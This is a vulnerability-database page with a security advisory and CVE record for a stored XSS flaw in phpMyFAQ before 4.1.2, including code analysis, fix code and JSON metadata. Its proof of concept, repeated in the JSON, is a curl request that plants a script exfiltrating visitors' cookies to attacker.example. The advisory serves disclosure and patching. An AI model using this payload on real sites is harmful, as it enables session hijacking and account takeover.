Vulnerability-Lookup

GHSA-F5P7-2C9Q-8896

Vulnerability from github – Published: 2026-05-06 20:18 – Updated: 2026-06-09 00:00

Summary

phpMyFAQ has Stored XSS in FAQ Question/Answer via Encode-Decode Bypass of removeAttributes() Sanitization

Details

Summary

The FAQ creation and update endpoints in phpMyFAQ apply FILTER_SANITIZE_SPECIAL_CHARS (which HTML-encodes input), then immediately call html_entity_decode() which reverses the encoding, followed by Filter::removeAttributes() which only strips HTML attributes — not tags. This allows <script>, <iframe>, <object>, and <embed> tags to be stored in the database and rendered unescaped via {{ answer|raw }} and {{ question|raw }} in the Twig template, causing JavaScript execution in every visitor's browser.

Details

Vulnerable code path (FAQ create — FaqController.php):

At line 120, the answer content is filtered:

$content = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);

Filter::filterVar() calls filterSanitizeString() (Filter.php:135-144) which applies htmlspecialchars(), converting <script> to <script>. The regex /\x00|<[^>]*>?/ then finds no literal angle brackets to strip.

At lines 150-154, the encoded content is decoded and passed to attribute-only sanitization:

->setAnswer(Filter::removeAttributes(html_entity_decode(
    (string) $content,
    ENT_QUOTES | ENT_HTML5,
    encoding: 'UTF-8',
)))

html_entity_decode() converts <script> back to <script>, fully reversing the earlier sanitization. Filter::removeAttributes() (Filter.php:150-196) only matches and strips attribute=value patterns from a known list of HTML attributes (event handlers like onclick, onerror, etc.) but performs no tag-level filtering. A <script> tag with no attributes passes through completely unchanged.

The identical pattern exists in the update endpoint at lines 389-398.

Rendering sink (faq.twig):

<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>
<article class="pmf-faq-body pb-4 mb-4 border-bottom">{{ answer|raw }}</article>

The |raw filter disables Twig's auto-escaping, causing the stored <script> tag to execute in every visitor's browser.

Additional rendering sinks exist in search.twig (line 75, 77) where search results also render FAQ content with |raw.

PoC

Prerequisites: Authenticated session with FAQ_ADD permission and a valid CSRF token.

Step 1: Create a malicious FAQ

curl -X POST 'https://target/admin/api/faq/create' \
  -H 'Cookie: PHPSESSID=<admin_session>' \
  -H 'Content-Type: application/json' \
  -d '{
    "data": {
      "pmf-csrf-token": "<valid_csrf_token>",
      "question": "Harmless FAQ Title",
      "answer": "Helpful content<script>fetch(\"https://attacker.example/steal?c=\"+document.cookie)</script>",
      "categories[]": 1,
      "lang": "en",
      "tags": "",
      "active": "yes",
      "sticky": "no",
      "keywords": "test",
      "author": "Admin",
      "email": "admin@example.com",
      "comment": "n",
      "changed": "Initial",
      "notes": "",
      "serpTitle": "Harmless FAQ",
      "serpDescription": "Test",
      "openQuestionId": 0,
      "notifyEmail": "",
      "notifyUser": "",
      "recordDateHandling": "updateDate"
    }
  }'

Expected response: 200 OK with the new FAQ ID.

Step 2: Verify XSS execution

Navigate to the public FAQ page (e.g., https://target/content/1/{faqId}/en/harmless-faq-title.html). The <script> tag in the answer body executes, sending the visitor's cookies to the attacker's server.

Impact

Session hijacking: An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover.
Phishing: The injected script can modify page content to display fake login forms or redirect users to malicious sites.
Worm propagation: If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack.
Scope: Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via search.twig.

Recommended Fix

Replace the encode→decode→removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like HTML Purifier or Symfony's HtmlSanitizer component.

Immediate fix — add tag-level filtering to removeAttributes() (Filter.php):

public static function removeAttributes(string $html = ''): string
{
    // Strip dangerous HTML tags entirely
    $dangerousTags = ['script', 'iframe', 'object', 'embed', 'applet', 'form', 'base', 'link', 'meta'];
    foreach ($dangerousTags as $tag) {
        $html = preg_replace('/<' . $tag . '\b[^>]*>.*?<\/' . $tag . '>/is', '', $html);
        $html = preg_replace('/<' . $tag . '\b[^>]*\/?>/is', '', $html);
    }

    // Also sanitize javascript: URIs in href/src attributes
    $html = preg_replace('/\b(href|src)\s*=\s*["\']?\s*javascript:/i', '$1="', $html);

    $keep = [
        'href', 'src', 'title', 'alt', 'class', 'style', 'id',
        'name', 'size', 'dir', 'rel', 'rev', 'target', 'width',
        'height', 'controls',
    ];
    // ... rest of existing attribute removal logic

Recommended long-term fix: Replace custom sanitization with Symfony's HtmlSanitizer, which is already a project dependency ecosystem:

use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;

$config = (new HtmlSanitizerConfig())
    ->allowSafeElements()
    ->blockElement('script')
    ->blockElement('iframe')
    ->blockElement('object')
    ->blockElement('embed');

$sanitizer = new HtmlSanitizer($config);
$cleanAnswer = $sanitizer->sanitize($rawAnswer);

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46363"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T20:18:02Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe FAQ creation and update endpoints in phpMyFAQ apply `FILTER_SANITIZE_SPECIAL_CHARS` (which HTML-encodes input), then immediately call `html_entity_decode()` which reverses the encoding, followed by `Filter::removeAttributes()` which only strips HTML attributes \u2014 not tags. This allows `\u003cscript\u003e`, `\u003ciframe\u003e`, `\u003cobject\u003e`, and `\u003cembed\u003e` tags to be stored in the database and rendered unescaped via `{{ answer|raw }}` and `{{ question|raw }}` in the Twig template, causing JavaScript execution in every visitor\u0027s browser.\n\n## Details\n\n**Vulnerable code path (FAQ create \u2014 `FaqController.php`):**\n\nAt line 120, the answer content is filtered:\n```php\n$content = Filter::filterVar($data-\u003eanswer, FILTER_SANITIZE_SPECIAL_CHARS);\n```\n\n`Filter::filterVar()` calls `filterSanitizeString()` (`Filter.php:135-144`) which applies `htmlspecialchars()`, converting `\u003cscript\u003e` to `\u0026lt;script\u0026gt;`. The regex `/\\x00|\u003c[^\u003e]*\u003e?/` then finds no literal angle brackets to strip.\n\nAt lines 150-154, the encoded content is decoded and passed to attribute-only sanitization:\n```php\n-\u003esetAnswer(Filter::removeAttributes(html_entity_decode(\n    (string) $content,\n    ENT_QUOTES | ENT_HTML5,\n    encoding: \u0027UTF-8\u0027,\n)))\n```\n\n`html_entity_decode()` converts `\u0026lt;script\u0026gt;` back to `\u003cscript\u003e`, fully reversing the earlier sanitization. `Filter::removeAttributes()` (`Filter.php:150-196`) only matches and strips `attribute=value` patterns from a known list of HTML attributes (event handlers like `onclick`, `onerror`, etc.) but performs **no tag-level filtering**. A `\u003cscript\u003e` tag with no attributes passes through completely unchanged.\n\nThe identical pattern exists in the update endpoint at lines 389-398.\n\n**Rendering sink (`faq.twig`):**\n\n```twig\n\u003ch2 class=\"mb-4 border-bottom\"\u003e{{ question | raw }}\u003c/h2\u003e\n\u003carticle class=\"pmf-faq-body pb-4 mb-4 border-bottom\"\u003e{{ answer|raw }}\u003c/article\u003e\n```\n\nThe `|raw` filter disables Twig\u0027s auto-escaping, causing the stored `\u003cscript\u003e` tag to execute in every visitor\u0027s browser.\n\nAdditional rendering sinks exist in `search.twig` (line 75, 77) where search results also render FAQ content with `|raw`.\n\n## PoC\n\n**Prerequisites:** Authenticated session with `FAQ_ADD` permission and a valid CSRF token.\n\n**Step 1: Create a malicious FAQ**\n```bash\ncurl -X POST \u0027https://target/admin/api/faq/create\u0027 \\\n  -H \u0027Cookie: PHPSESSID=\u003cadmin_session\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"data\": {\n      \"pmf-csrf-token\": \"\u003cvalid_csrf_token\u003e\",\n      \"question\": \"Harmless FAQ Title\",\n      \"answer\": \"Helpful content\u003cscript\u003efetch(\\\"https://attacker.example/steal?c=\\\"+document.cookie)\u003c/script\u003e\",\n      \"categories[]\": 1,\n      \"lang\": \"en\",\n      \"tags\": \"\",\n      \"active\": \"yes\",\n      \"sticky\": \"no\",\n      \"keywords\": \"test\",\n      \"author\": \"Admin\",\n      \"email\": \"admin@example.com\",\n      \"comment\": \"n\",\n      \"changed\": \"Initial\",\n      \"notes\": \"\",\n      \"serpTitle\": \"Harmless FAQ\",\n      \"serpDescription\": \"Test\",\n      \"openQuestionId\": 0,\n      \"notifyEmail\": \"\",\n      \"notifyUser\": \"\",\n      \"recordDateHandling\": \"updateDate\"\n    }\n  }\u0027\n```\n\n**Expected response:** `200 OK` with the new FAQ ID.\n\n**Step 2: Verify XSS execution**\n\nNavigate to the public FAQ page (e.g., `https://target/content/1/{faqId}/en/harmless-faq-title.html`). The `\u003cscript\u003e` tag in the answer body executes, sending the visitor\u0027s cookies to the attacker\u0027s server.\n\n## Impact\n\n- **Session hijacking:** An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover.\n- **Phishing:** The injected script can modify page content to display fake login forms or redirect users to malicious sites.\n- **Worm propagation:** If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack.\n- **Scope:** Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via `search.twig`.\n\n## Recommended Fix\n\nReplace the encode\u2192decode\u2192removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like [HTML Purifier](http://htmlpurifier.org/) or Symfony\u0027s [HtmlSanitizer](https://symfony.com/doc/current/html_sanitizer.html) component.\n\n**Immediate fix \u2014 add tag-level filtering to `removeAttributes()`** (`Filter.php`):\n\n```php\npublic static function removeAttributes(string $html = \u0027\u0027): string\n{\n    // Strip dangerous HTML tags entirely\n    $dangerousTags = [\u0027script\u0027, \u0027iframe\u0027, \u0027object\u0027, \u0027embed\u0027, \u0027applet\u0027, \u0027form\u0027, \u0027base\u0027, \u0027link\u0027, \u0027meta\u0027];\n    foreach ($dangerousTags as $tag) {\n        $html = preg_replace(\u0027/\u003c\u0027 . $tag . \u0027\\b[^\u003e]*\u003e.*?\u003c\\/\u0027 . $tag . \u0027\u003e/is\u0027, \u0027\u0027, $html);\n        $html = preg_replace(\u0027/\u003c\u0027 . $tag . \u0027\\b[^\u003e]*\\/?\u003e/is\u0027, \u0027\u0027, $html);\n    }\n\n    // Also sanitize javascript: URIs in href/src attributes\n    $html = preg_replace(\u0027/\\b(href|src)\\s*=\\s*[\"\\\u0027]?\\s*javascript:/i\u0027, \u0027$1=\"\u0027, $html);\n\n    $keep = [\n        \u0027href\u0027, \u0027src\u0027, \u0027title\u0027, \u0027alt\u0027, \u0027class\u0027, \u0027style\u0027, \u0027id\u0027,\n        \u0027name\u0027, \u0027size\u0027, \u0027dir\u0027, \u0027rel\u0027, \u0027rev\u0027, \u0027target\u0027, \u0027width\u0027,\n        \u0027height\u0027, \u0027controls\u0027,\n    ];\n    // ... rest of existing attribute removal logic\n```\n\n**Recommended long-term fix:** Replace custom sanitization with Symfony\u0027s HtmlSanitizer, which is already a project dependency ecosystem:\n\n```php\nuse Symfony\\Component\\HtmlSanitizer\\HtmlSanitizer;\nuse Symfony\\Component\\HtmlSanitizer\\HtmlSanitizerConfig;\n\n$config = (new HtmlSanitizerConfig())\n    -\u003eallowSafeElements()\n    -\u003eblockElement(\u0027script\u0027)\n    -\u003eblockElement(\u0027iframe\u0027)\n    -\u003eblockElement(\u0027object\u0027)\n    -\u003eblockElement(\u0027embed\u0027);\n\n$sanitizer = new HtmlSanitizer($config);\n$cleanAnswer = $sanitizer-\u003esanitize($rawAnswer);\n```",
  "id": "GHSA-f5p7-2c9q-8896",
  "modified": "2026-06-09T00:00:30Z",
  "published": "2026-05-06T20:18:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-f5p7-2c9q-8896"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46363"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/phpmyfaq-stored-xss-in-faq-question-answer-via-encode-decode-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ has Stored XSS in FAQ Question/Answer via Encode-Decode Bypass of removeAttributes() Sanitization"
}

CVE-2026-46363 (GCVE-0-2026-46363)

Vulnerability from cvelistv5 – Published: 2026-05-15 18:36 – Updated: 2026-05-28 14:15

Title

phpMyFAQ - Stored XSS in FAQ Question/Answer via Encode-Decode Bypass

Summary

phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in FAQ creation and update endpoints that bypass sanitization through encode-decode cycles. The vulnerability allows authenticated attackers with FAQ_ADD permission to inject malicious script tags via question or answer parameters, which execute in every visitor's browser when FAQ content is rendered with the raw Twig filter.

Severity

5.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

5.1 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-15 20:01 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

VulnCheck mitre root Scorecard

References

2 references

URL	Tags
https://github.com/thorsten/phpMyFAQ/security/adv…	vendor-advisory
https://www.vulncheck.com/advisories/phpmyfaq-sto…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
thorsten	phpmyfaq	Affected: 0 , < 4.1.2 (semver) Unaffected: 4.1.2 (semver) cpe:2.3:a:phpmyfaq:phpmyfaq::::::::

Date Public

2026-04-28 00:00

Credits

offset

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-46363",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-15T20:01:20.128213Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-15T20:01:46.557Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-f5p7-2c9q-8896"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "phpmyfaq",
          "vendor": "thorsten",
          "versions": [
            {
              "lessThan": "4.1.2",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "4.1.2",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.1.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "offset"
        }
      ],
      "datePublic": "2026-04-28T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in FAQ creation and update endpoints that bypass sanitization through encode-decode cycles. The vulnerability allows authenticated attackers with FAQ_ADD permission to inject malicious script tags via question or answer parameters, which execute in every visitor\u0027s browser when FAQ content is rendered with the raw Twig filter."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.4,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          },
          "format": "CVSS"
        },
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 5.1,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "LOW",
            "subIntegrityImpact": "LOW",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "LOW"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-28T14:15:26.247Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GHSA Advisory GHSA-f5p7-2c9q-8896",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-f5p7-2c9q-8896"
        },
        {
          "name": "VulnCheck Advisory: phpMyFAQ - Stored XSS in FAQ Question/Answer via Encode-Decode Bypass",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/phpmyfaq-stored-xss-in-faq-question-answer-via-encode-decode-bypass"
        }
      ],
      "title": "phpMyFAQ - Stored XSS in FAQ Question/Answer via Encode-Decode Bypass",
      "x_generator": {
        "engine": "vulncheck"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-46363",
    "datePublished": "2026-05-15T18:36:42.063Z",
    "dateReserved": "2026-05-13T19:40:27.809Z",
    "dateUpdated": "2026-05-28T14:15:26.247Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-F5P7-2C9Q-8896

Summary

Details

PoC

Impact

Recommended Fix

CVE-2026-46363 (GCVE-0-2026-46363)

Tags

Sightings

Nomenclature

Related by attack behaviour